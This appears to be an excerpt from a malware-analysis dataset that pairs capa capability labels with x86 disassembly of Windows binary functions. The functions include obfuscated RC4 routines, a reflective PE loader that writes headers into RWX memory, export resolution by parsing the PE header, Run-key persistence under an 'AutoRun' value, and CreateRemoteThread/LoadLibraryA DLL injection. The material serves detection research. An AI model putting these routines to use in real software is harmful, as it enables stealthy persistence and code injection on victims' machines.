joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101bfbac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101d19d0]
jne 0x101bfbb6
repz ret
jmp fcn.101bfe5d

Function at 0x101c0360
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x101d19b0], 0x126c
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x101d19ac], 0x12da
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x101c03f3
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
je 0x101c0425
jmp 0x101c0489
mov dword [0x101d19ac], 0xfffff6b2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x101c0444
jmp 0x101c0489
mov dword [0x101d19b0], 0x1430
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x101c0468
jmp 0x101c0489
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], edx
je 0x101c03a0
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jl 0x101c03f3
jmp 0x101c03a0
mov dword [0x101d19b0], 0xd8e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101c03b7
jmp 0x101c0489
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x101c0489
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x101c03d5
jmp 0x101c0489
mov eax, 1
mov dword [0x101d19ac], 0xcb8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x101c0490
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101c0490
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x101c0564
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101d19b8], 0
mov byte [0x101d19bc], 0
mov dword [0x101d19b4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101c05ba
mov eax, 0x25fd
xor ecx, ecx
mov dword [0x101d19b4], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x101c05ec
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x101d19ac], 0x25fd
mov eax, dword [0x101d19b4]
add eax, 1
mov dword [0x101d19b4], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101c05ba
jmp 0x101c05a1
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
mov dword [0x101d19c0], 0
mov dword [ebp - 0x28], eax
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
add ecx, 0xfffff560
mov edi, dword [0x101d19b8]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x101d19c0], esi
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x101d19b8], edx
mov dword [0x101d19ac], ecx
mov ecx, dword [ebp - 0x28]
mov cl, byte [ebx + ecx]
mov byte [0x101d19bc], cl
mov dword [0x101d19b0], 0x21ee
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x28]
mov byte [ebx + edx], cl
mov cl, byte [0x101d19bc]
mov edx, dword [0x101d19b8]
mov byte [ebx + edx], cl
mov edx, dword [0x101d19ac]
add edx, 0xfffff153
mov dword [0x101d19ac], edx
mov ecx, dword [0x101d19b4]
add ecx, 1
mov dword [0x101d19b4], ecx
cmp ecx, 0x100
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ecx
jl 0x101c05ec
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c0802
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x101d19ac]
add esi, 0xffffeeb0
mov dword [0x101d19ac], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x101c0837
mov eax, dword [ebp - 0x34]
add esp, 0x4c
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x101c2313]
mov dh, byte [eax + 0x101c22e4]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x101c0837
lea eax, [ebp - 0x24]
mov dword [0x101d19b0], 0x19f0
mov dword [ebp - 0x38], eax
call fcn.101c127b
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.101c01d4
xor ecx, ecx
mov dword [0x101d19b0], 0x22ca
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], ecx
je 0x101c082e
mov eax, dword [ebp - 0x3c]
mov dword [0x101d19ac], 0x16e2
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.101c06b7
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101d19b0], 0x190b
mov dword [ecx + 0xd0], 0x4550
mov dword [0x101d19ac], 0xfffff83d
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x2c], ecx
mov ecx, dword [ebp - 0x40]
mov dword [edx + 0x20], ecx
cmp ecx, 0
mov dword [ebp - 0x34], eax
je 0x101c082e
mov eax, dword [ebp - 0x40]
add eax, 0x1418
mov dword [0x101d19b0], 0x20b8
mov dword [ebp - 0x34], eax
jmp 0x101c082e
Function at 0x101c1112
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.101c1394
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101c114e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x101d19ac], 0xc6c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x101d19b0], 0x241c
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x101c1270
jmp 0x101c11bd
mov eax, dword [ebp - 0x34]
add eax, 1
mov cl, byte [ebp - 0x35]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x36]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x3c], eax
jne 0x101c11e9
jmp 0x101c1212
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x50]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], bh
mov byte [ebp - 0x36], cl
jne 0x101c1193
mov al, byte [ebp - 0x36]
test al, 1
jne 0x101c1241
jmp 0x101c121b
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 2
mov edx, dword [ebp - 0x4c]
add edx, 1
mov esi, dword [ebp - 0x2c]
cmp edx, esi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x30], eax
jb 0x101c11cf
jmp 0x101c1270
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov dword [0x101d19b0], 0x22be
mov ecx, dword [edx + ecx*4]
mov dword [0x101d19ac], 0x4c8
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c1510
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101d19b4], 0
mov dword [0x101d19b8], 0
mov dword [0x101d19c4], 0
mov ebx, dword [0x101d19ac]
add ebx, 0xffffec41
mov dword [0x101d19b0], ebx
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x101c1589
mov dword [0x101d19b0], 0x22fd
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, eax
add edi, 1
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x101d19b4], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x101d19b8], edx
mov dword [0x101d19b0], 0x63e
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x101d19bc], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101d19bc]
mov edx, dword [0x101d19b8]
mov byte [ebx + edx], cl
mov edx, dword [0x101d19b4]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101d19b8]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101d19c4], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
mov ch, byte [edx + esi]
mov dword [0x101d19b0], 0xff5
mov dword [0x101d19ac], 0xc9e
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x34], edi
je 0x101c1577
mov eax, dword [0x101d19b4]
mov ecx, dword [0x101d19b8]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x101c1589
Function at 0x101c166f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov edx, dword [0x101d19ac]
mov esi, edx
add esi, 0xffffddef
mov dword [0x101d19b0], esi
add edx, 0xfffff1ae
mov dword [0x101d19ac], edx
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.101c0949
lea ecx, [0x101c0fc7]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x74], edx
mov dword [esp + 0x58], 0x168800
mov edx, dword [0x101d1998]
mov dword [esp + 0x54], edx
mov edx, dword [0x101d199c]
mov dword [esp + 0x7c], edx
mov dword [0x101d19ac], 0x1a6c
mov edx, dword [0x101d19a0]
mov dword [esp + 0x30], edx
mov edx, dword [0x101d19a4]
mov dword [esp + 0x64], edx
mov edx, dword [0x101d19a8]
mov dword [esp + 0x34], edx
mov edx, dword [0x101d19b0]
add edx, 0xc86
mov dword [0x101d19b0], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x101c1744
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x101c1755
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x101c171e
jmp 0x101c1732
mov eax, dword [esp + 0x10]
mov dword [esp + 0x40], eax
mov dword [0x101d19b0], 0x8e8
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x70], edx
mov dword [0x101d19ac], 0x1277
call fcn.101c0360
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x101c17c3
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101c0802
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x101d19b0], 0xd4a
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
lea esp, [ebp - 4]
pop esi
pop ebp
ret

Function at 0x4017ef
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov ebx, eax
test eax, eax
je 0x40180a
mov edx, dword [0x404050]
add edx, edx
jmp 0x401810
mov edx, dword [0x404050]
mov eax, 0x404054
call fcn.00401720
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x4031fd
push edx
sub edi, fcn.004029a7
push edi
xor eax, eax
push fcn.004029a7
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401865
mov eax, fcn.004029a7
mov ebx, esi
mov edx, edi
call fcn.00401720
mov edx, 0x1c000
mov eax, 0x404054
mov ebx, esi
call fcn.004020e5
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x6ec412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6ec41325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6ec41325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6ec4132c
mov eax, 1
jmp 0x6ec41331
mov eax, 0
leave
ret

Function at 0x6ec41333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x6ec413ad
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x6ec4143a
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x6ec4141d
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x6ec4143a
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret
Function at 0x6ec414ca
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6ec415c3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6ec41631
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6ec41b70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6ec4603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6ec46034]
sub esp, 4
test ebx, ebx
je 0x6ec41bbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6ec41bb4
test esi, esi
je 0x6ec41bb4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6ec41b90
mov dword [esp], 0x6ec4603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6ec41da0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6ec4423c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6ec41df0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6ec41ec8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6ec41e2e
cmp eax, 4
jne 0x6ec41e50
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6ec41e3e
cmp edx, 4
je 0x6ec41e3e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6ec41da0
Function at 0x1002a440
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
nop word cs:[eax + eax]
nop
mov esi, dword [0x10075260]
cmp dword [0x1007525c], 0xa
setge cl
setl al
lea edx, [esi - 1]
imul edx, esi
and edx, 1
mov edi, dword [0x1006de9c]
mov esi, dword [0x1006dea0]
mov ebx, esi
not ebx
mov ebp, edi
and ebp, ebx
xor esi, edi
not esi
add esi, ebp
or ebx, edi
sub esi, ebx
cmp edx, esi
sete dl
setne ah
and ah, al
and cl, dl
or cl, ah
mov ah, al
xor ah, dl
add ah, cl
or al, dl
add al, ah
add al, 1
test al, 1
jne 0x1002a450
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x1005a5cd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1005a60c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1005a60c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1005a60c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1005a60c
cmp dword [ecx + 0x74], 0xe
jbe 0x1005a60c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1005d2bd
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1005d35a
push ebx
push esi
call fcn.1005d286
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1005d21a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1005d307
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005d359
push edi
push eax
call fcn.1005b25d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1005d327
call fcn.1005b2ab
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005d358
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1005d21a
add esp, 0x20
test eax, eax
jne 0x1005d346
push edi
call fcn.1005b2ab
jmp 0x1005d34e
push ebx
call fcn.1005b2ab
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1005d5c7
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10064668
push 0x10064660
push str.FlsAlloc
push 0x1f
call fcn.1005d4e3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005d5fb
push dword [ebp + 8]
mov ecx, esi
call dword [0x10063120]
call esi
jmp 0x1005d601
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1005d645
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10064678
push 0x10064670
push str.FlsGetValue
push 0x21
call fcn.1005d4e3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005d67c
push dword [ebp + 8]
mov ecx, esi
call dword [0x10063120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1005d684
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10064680
push 0x10064678
push str.FlsSetValue
push 0x22
call fcn.1005d4e3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005d6be
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10063120]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]